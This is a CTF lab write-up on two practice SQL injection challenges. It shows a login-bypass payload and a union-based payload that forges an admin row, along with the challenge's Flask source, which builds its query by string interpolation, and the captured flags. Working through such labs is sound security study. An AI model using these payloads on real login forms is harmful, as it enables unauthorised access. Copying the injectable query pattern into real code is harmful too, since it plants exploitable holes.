Simple Web 0x03(Lab - Log me in + Revenge)

Simple Web 0x03(Lab - Log me in + Revenge)

tags: NTUSTWS CTF Web

Challenge: http://h4ck3r.quest:8200/ Challenge: http://h4ck3r.quest:8201/

Exploit - SQLi

  • Payload → ') or ('1'='1') -- # SELECT * FROM admin WHERE (username=’’) or (‘1’=’1’) – #’) AND (password=’MTIz’)

Flag: FLAG{b4by_sql_inj3cti0n}

Revenge source code

:::spoiler code

from flask import Flask, render_template, redirect, request, g, Response
import sqlite3

app = Flask(__name__)


def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect('/tmp/database.db')
        db.row_factory = sqlite3.Row
    return db


@app.before_first_request
def init_db():
    cursor = get_db().cursor()
    cursor.execute("""
    CREATE TABLE IF NOT EXISTS "admin" (
        "username"  TEXT NOT NULL,
        "password"  TEXT NOT NULL
    )
    """)
    cursor.execute("SELECT COUNT(*) as count FROM admin WHERE username='admin'")
    count = cursor.fetchone()['count']
    if count == 0:
        import secrets
        cursor.execute("INSERT INTO admin (username, password) VALUES (?,?)",
                       ('admin', secrets.token_urlsafe()))
    get_db().commit()


@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()


@app.route("/")
def home():
    return render_template("index.html",
                           failed=request.args.get('failed') != None)


@app.route("/login", methods=['POST'])
def login():
    username = request.form.get('username')
    password = request.form.get('password')

    if not username or not password:
        return redirect("/?failed")

    cur = get_db().execute(f"SELECT * FROM admin WHERE (username='{username}')")
    res = cur.fetchone()
    cur.close()

    if res['username'] == 'admin' and res['password'] == password:
        return "FLAG: FLAG{<REDACTED>}"

    return redirect("/?failed")



@app.route("/source")
def source():
    import re
    source_code = open(__file__).read()
    source_code = re.sub(r'FLAG{[^}\s]+}', 'FLAG{<REDACTED>}', source_code, 1)
    return Response(source_code, mimetype='text/plain')


if __name__ == '__main__':
    app.run(debug=True)

:::

Exploit - SQLi + union syntax

  1. Observe source code first It must receive username and password together, or failed otherwise. Thus, we can not use previous payload.
  2. Union syntax Username Payload → ') union select 'admin', 'password' -- # Password → password
SELECT * FROM admin WHERE (username='') union select 'admin', 'password' -- #')

Flag: FLAG: FLAG{un10n_bas3d_sqli}